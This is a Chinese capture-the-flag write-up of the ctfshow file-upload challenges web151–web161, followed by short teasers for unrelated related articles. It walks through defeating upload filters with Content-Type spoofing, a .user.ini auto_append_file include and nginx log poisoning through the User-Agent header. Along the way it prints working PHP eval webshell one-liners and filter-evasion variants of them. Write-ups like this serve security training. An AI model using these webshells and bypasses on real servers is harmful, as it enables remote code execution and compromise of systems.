ctfshow-文件上传(web151-web161)
目录
web151
web152
web153
web154
web155
web156
web157
web158
web159
web160
web161
web151
提示前台验证不可靠 那限制条件估计就是在前端设置的
上传php小马后 弹出了窗口说不支持的格式
查看源码
这一条很关键 这种不懂直接ai搜 意思就是限制了上传类型 允许的后缀格式为png
我们直接修改并且上传小马
给出了上传路径 访问传参即可 得出flag
方法二 因为是前端验证嘛
修改小马后缀为png bp抓包修改回来也可以
web152
提示后端管的严
就算把前端允许的格式修改为php也不行 后端返回个报错信息 文件类型不允许
抓包修改类型为PNG
Content-Type: application/octet-stream
修改为
Content-Type: image/png
成功
获取flag
web153
依旧显示文件类型不合规
修改类型不行了
修改后缀也不行 那么估计就是对文件内容进行检测了 在文件的内容前加入PNG头标识也不行
可能即使后端判断后缀太严格只要是.php就不行
发现upload下有个index.php文件 那就可以使用.user.ini的方式了
php.ini是php的配置文件 定义全局的 .user.ini也是配置文件作用与目录的 优先级比全局配置文件高 前提是当前目录下有php文件 那么在.user.ini配置文件定义当前目录所有php文件包含一个指定的php文件 即可 但是这个指定的php文件也需要我们上传 我们无法上传php 才想到的.user.ini 所以包含一个txt文件也可以的 只要是txt文件内容是php内容 文件包含过来就会解析txt里面的php内容
首先上传.user.ini文件 内容为auto_append_file=1.txt
首先就是前端允许类型为ini这样通过前端 后端修改类型为image/png通过后端 要记得在user.ini前增加一个. 必须在bp中增加(在本地.开头可能会不让) 因为全称就是.user.ini
上传txt文件
依旧是先绕过前端 后端文件类型修改为image/png
访问/upload即可 并传入post参数为我们的命令
web154
以上一题的方法试一下
.user.ini文件成功上传
但是txt文件上传失败说是文件内容不可以
经过测试只要是文件中存在php就不可以
使用php短标签格式即可
获取flag
web155
同web154
使用蚁剑连接查看过滤源码发现 确实过滤了php并且过滤文件的内容 以及判断类型
web156
同web154
区别文件内容又过滤了[] 导致小马不能用 换成{}即可
<?=eval($_POST[1]);?>
<?=eval($_POST{1});?>注意 判断过滤什么 使用二分法 一半一半测试
web157
同web154
额外多过滤了{}以及;号 不影响直接删除即可
因为 在php中最后一个;可以不用写
上一题去除分号即可
{}问题如何解决 多学一个姿势POST不给参数也可以
一句话木马为
<?=eval(array_pop($_POST));?>去除分号
<?=eval(array_pop($_POST))?>意思就是弹出post最后一对键值对的值 从而php解析这个值 从而达到执行命令
web158
使用web157即可
web159
文件内容()不让用了 那就不能写一句话木马了
还有什么方式呢 那就是 首先ini文件包含一个1.txt文件 1.txt文件的php内容为包含U-A日志文件
/var/log/nginx/access.log 然后U-A 添加一句话木马 即可 这个log也被过滤了 使用 . 拼接即可
.user.ini 内容为 auto_append_file=1.txt
1.txt内容为 <?=include '/var/l'.'og/nginx/access.l'.'og'?>
添加U-A值 <?php eval($_POST[1]); ?>
目前来说日志确实被包含了 但是内容太多 手动执行命令不好找 并且也不确定一句话是否被写入日志中 使用蚁剑连接测试即可
成功
找到了flag
既然已经使用蚁剑进行连接了 那就看看这几关后端是怎么过滤的吧
后端过滤脚本
可以看到文件内容过滤了 php ( [ { ; log
并且验证文件类型是否为image/png 以及后缀是否是php
web160
文件内容过滤了空格 很容易我们将空格换成换行符0a即可 不能再post中直接写%0a 那个url的写法 先用1进行占位 再hex中找到1对应的31 修改为0a即可
web161
经过bp测试 不让上传ini后缀的文件了 txt也不行 png也不行 估计是白名单?
我重新来 直接在页面中上传png图片 结果也说图片不合规 这是啥都不让上传?
真有意思前端允许类型是png 后端却不可以了
经过测试 后缀只要不是php就可以 文件类型必须要是png 文件头内容必须是GIF头(并且光有头不行 还必须要有内容)
既然知道这样了 按照上一题
上传.user.ini 内容为 auto_append_file=1.txt
上传1.txt内容为 <?=include '/var/l'.'og/nginx/access.l'.'og'?>(过滤了空格 记得替换09等)
添加U-A值 <?php eval($_POST[1]); ?>
并且文件内容前必须要加上GIF的头字段(我查看源码也不明白原因 有个函数获取该文件大小 也就是说 文件头要和文件对应 才会返回真 这个GIF文件头组合任意内容 该函数都会返回真 这是我的理解)
确定包含日志
蚁剑连接成功确实 木马写入 查找flag
在这里说一下 这些题目都是再上一题的基础上再增加过滤条件的 所以就是上一关禁用的 下一关也会被禁用
先发到web161 之后的需要vps长地址 目前弄不出来长地址 导致只能做到这
相关文章:
ctfshow-文件上传(web151-web161)
目录 web151 web152 web153 web154 web155 web156 web157 web158 web159 web160 web161 web151 提示前台验证不可靠 那限制条件估计就是在前端设置的 上传php小马后 弹出了窗口说不支持的格式 查看源码 这一条很关键 这种不懂直接ai搜 意思就是限制了上传类型 允许…...
cudnn免登录下载
现在要下载cuDNN,点击下载的页面后都是出现要求先加入Nvidia developers才能进行下载,但这个注册的过程非常慢,常常卡在第二个步骤,这里根据亲身的经验介绍一个可以绕过这个注册或登陆步骤的方式直接下载cuDNN。遇到此类问题的可以…...
SQLyog安装配置(注册码)连接MySQL
下载资源 博主给你打包好了安装包,在网盘里,只有几Mb,防止你下载到钓鱼软件 快说谢谢博主(然后心甘情愿的点个赞~😊) SQLyog.zip 安装流程 ①下载好压缩包后并解压 ②打开文件夹,双击安装包 ③…...
java+SSM+mysql 开放式实验管理系统78512-计算机毕业设计项目选题推荐(免费领源码)
摘 要 我国高校开放式实验管理普遍存在实验设备使用率较低、管理制度不完善,实验设备共享程度不高等诸多问题。要在更大范围推行开放式实验管理,就必须在开放式实验教学管理流程中,通过引入信息化管理加大信息技术在其中的应用,才能真正发挥这种教学模式的开放性优势。 本系统…...
代码随想录算法训练营第三十三天|1005.K次取反后最大化的数组和、134.加油站、135.分发糖果
1005.K次取反后最大化的数组和 public class Solution {public int LargestSumAfterKNegations(int[] nums, int k) {int cnt0;int sum0;int minint.MaxValue;Array.Sort(nums);for(int i0;i<nums.Length;i){if(nums[i]>0){continue;}else{nums[i]-nums[i];cnt;}if(cntk…...
解决LeetCode编译器报错的技巧:正确处理位操作中的数据类型
一天我在leetcode上刷题时,遇到了这样的题目: 随即我写了如下的代码: int convertInteger(int A, int B) {int count 0;int C A ^ B;int flag 1;while(flag){if (C & flag){count;}flag<<1;}return count;} 但LeetCode显示如下…...
一周学会Django5 Python Web开发-Django5操作命令
锋哥原创的Python Web开发 Django5视频教程: 2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili2024版 Django5 Python web开发 视频教程(无废话版) 玩命更新中~共计11条视频,包括:2024版 Django5 Python we…...
反转链表【基础算法精讲 06】
视频地址 反转链表【基础算法精讲 06】_哔哩哔哩_bilibili 概念 链表的每一个结点都包含节点值 和1指向下一个结点的next指针 , 链表的最后一个结点指向空; 206 . 反转链表 用cur记录当前遍历到的结点 , 用pre表示下一个结点 , 用nxt表示cur的下一个…...
Git 初学
目录 一、需求的产生 二、版本控制系统理解 1. 认识版本控制系统 2. 版本控制系统分类 (1)集中式版本控制系统 缺点: (2)分布式版本控制系统 三、初识 git 四、git 的使用 例:将 “ OLED文件夹 ”…...
智胜未来,新时代IT技术人风口攻略-第四版(弃稿)
文章目录 前言鸿蒙生态科普调研人员画像高校助力鸿蒙高校鸿蒙课程开设占比教研力量并非唯一原因 企业布局规划全盘接纳仍需一段时间企业对鸿蒙的一些诉求 机构入场红利机构鸿蒙课程开设占比机构对鸿蒙的一些诉求 鸿蒙实际体验高校用户群体高度认同与影响体验企业用户群体未来可…...
渗透专用虚拟机(公开版)
0x01 工具介绍 okfafu渗透虚拟机公开版。解压密码:Mrl64Miku,压缩包大小:15.5G,解压后大小:16.5G。安装的软件已分类并在桌面中体现,也可以使用everything进行查找。包含一些常用的渗透工具以及一些基本工…...
HCIA-HarmonyOS设备开发认证V2.0-3.2.轻量系统内核基础-时间管理
目录 一、时间管理1.1、时间接口1.2、代码分析(待续...) 坚持就有收获 一、时间管理 时间管理以系统时钟为基础,给应用程序提供所有和时间有关的服务。系统时钟是由定时器/计数器产生的输出脉冲触发中断产生的,一般定义为整数或长…...
嵌入式培训机构四个月实训课程笔记(完整版)-Linux ARM驱动编程第五天-ARM Linux编程之file_operations详解 (物联技术666)
链接:https://pan.baidu.com/s/1V0E9IHSoLbpiWJsncmFgdA?pwd1688 提取码:1688 struct file_operations{ struct module *owner; // 指向拥有该结构的模块的指针,避免正在操作时被卸载,一般为初始化THIS_MODULES loff_t &#…...
第9章 网络编程
9.1 网络通信协议 通过计算机网络可以实现多台计算机连接,但是不同计算机的操作系统和硬件体系结构不同,为了提供通信支持,位于同一个网络中的计算机在进行连接和通信时必须要遵守一定的规则,这就好比在道路中行驶的汽车一定要遵…...
Python setattr函数
在Python编程中,setattr()函数是一个有用且灵活的内置函数,用于设置对象的属性值。它可以在运行时动态地设置对象的属性,无论是新建对象还是已有对象。本文将深入探讨setattr()函数的用法、语法、示例代码,并探讨其在实际编程中的…...
[C#]winform制作仪表盘好用的表盘控件和使用方法
【仪表盘一般创建流程】 在C#中制作仪表盘文案(通常指仪表盘上的文本、数字或指标显示)涉及到使用图形用户界面(GUI)组件,比如Windows Forms、WPF (Windows Presentation Foundation) 或 ASP.NET 等。以下是一个使用W…...
探索弗洛姆的思想:人类本质与爱的哲学
探索弗洛姆的思想:人类本质与爱的哲学 摘要:艾里希弗洛姆是20世纪著名的德裔美国哲学家和精神分析学家,他的理论在心理学、社会学和哲学领域均产生了广泛影响。弗洛姆的核心思想围绕人的本性、自由发展以及爱的重要性展开,强调了人…...
【碎片知识点】安装Linux系统 VMware与kali
天命:VMware就是可以运行操作系统的载体,kali就是Linux的其中一个分支 天命:Linux有两个分支版本:centos与ubuntu,kali底层就是ubuntu(所有Linux用起来都差不多,没啥区别) 天命&…...
Android 车载应用开发之SystemUI 详解
一、SystemUI SystemUI全称System User Interface,直译过来就是系统级用户交互界面,在 Android 系统中由SystemUI负责统一管理整个系统层的 UI,它是一个系统级应用程序(APK),源码在/frameworks/base/packages/目录下,而不是在/packages/目录下,这也说明了SystemUI这个…...
C# CAD-Xdata数据 添加(一)
运行环境Visual Studio 2022 c# cad2016 一、XData(扩展数据)特定代码值 XData(扩展数据)特定代码值 XData通过一系列DXF组码(DxfCode)存储不同类型的数据,包括但不限于ASCII字符串、已注册应…...
【Python】 -- 趣味代码 - 小恐龙游戏
文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...
JVM垃圾回收机制全解析
Java虚拟机(JVM)中的垃圾收集器(Garbage Collector,简称GC)是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象,从而释放内存空间,避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...
06 Deep learning神经网络编程基础 激活函数 --吴恩达
深度学习激活函数详解 一、核心作用 引入非线性:使神经网络可学习复杂模式控制输出范围:如Sigmoid将输出限制在(0,1)梯度传递:影响反向传播的稳定性二、常见类型及数学表达 Sigmoid σ ( x ) = 1 1 +...
【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...
C++使用 new 来创建动态数组
问题: 不能使用变量定义数组大小 原因: 这是因为数组在内存中是连续存储的,编译器需要在编译阶段就确定数组的大小,以便正确地分配内存空间。如果允许使用变量来定义数组的大小,那么编译器就无法在编译时确定数组的大…...
[论文阅读]TrustRAG: Enhancing Robustness and Trustworthiness in RAG
TrustRAG: Enhancing Robustness and Trustworthiness in RAG [2501.00879] TrustRAG: Enhancing Robustness and Trustworthiness in Retrieval-Augmented Generation 代码:HuichiZhou/TrustRAG: Code for "TrustRAG: Enhancing Robustness and Trustworthin…...
AD学习(3)
1 PCB封装元素组成及简单的PCB封装创建 封装的组成部分: (1)PCB焊盘:表层的铜 ,top层的铜 (2)管脚序号:用来关联原理图中的管脚的序号,原理图的序号需要和PCB封装一一…...
倒装芯片凸点成型工艺
UBM(Under Bump Metallization)与Bump(焊球)形成工艺流程。我们可以将整张流程图分为三大阶段来理解: 🔧 一、UBM(Under Bump Metallization)工艺流程(黄色区域ÿ…...
ArcGIS Pro+ArcGIS给你的地图加上北回归线!
今天来看ArcGIS Pro和ArcGIS中如何给制作的中国地图或者其他大范围地图加上北回归线。 我们将在ArcGIS Pro和ArcGIS中一同介绍。 1 ArcGIS Pro中设置北回归线 1、在ArcGIS Pro中初步设置好经纬格网等,设置经线、纬线都以10间隔显示。 2、需要插入背会归线…...
路由基础-路由表
本篇将会向读者介绍路由的基本概念。 前言 在一个典型的数据通信网络中,往往存在多个不同的IP网段,数据在不同的IP网段之间交互是需要借助三层设备的,这些设备具备路由能力,能够实现数据的跨网段转发。 路由是数据通信网络中最基…...


























